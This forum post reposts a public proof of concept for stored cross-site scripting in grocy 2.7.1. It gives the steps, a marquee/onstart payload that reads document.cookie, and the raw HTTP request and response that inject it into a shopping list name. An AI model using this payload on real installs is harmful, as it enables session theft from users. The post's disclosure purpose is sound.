Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

grocy 2.7.1 - Persistent Cross-Site Scripting

 Share


Recommended Posts

# Exploit Title: grocy 2.7.1 - Persistent Cross-Site Scripting
# Date: 2020-09-06
# Exploit Author: Mufaddal Masalawala
# Vendor Homepage: https://berrnd.de/
# Software Link: https://github.com/grocy/grocy
# Version: 2.7.1
# Tested on: Kali Linux 2020.3

# Proof Of Concept:

grocy household management solution v2.7.1, allows stored XSS and HTML
Injection, via Create Shopping List module, that is rendered upon
deletiing that Shopping List.
To exploit this vulnerability:
1. Login to the application
2. Go to 'Shooping List' module
3. Click on 'New Shopping List' module
4. Enter the payload: <marquee onstart=alert(document.cookie)> in 'Name'
input field.
5. Click Save
6. Click 'Delete Shopping List'

*#REQUEST -->*
POST /api/objects/shopping_lists HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/shoppinglist/new
Content-type: application/json
Content-Length: 38
Connection: close
Cookie: grocy_session=GhIjKZyST7Qkx18Q97u9MaPM1LsMtBmcJ6I59gxTO3Ks4WJXUd
{"name":"<marquee onstart=alert(1)> "}
*#RESPONSE -->*
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sun, 06 Sep 2020 12:53:13 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.3.21
Content-Length: 26

{"created_object_id":"21"}


Regards,
Mufaddal M
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...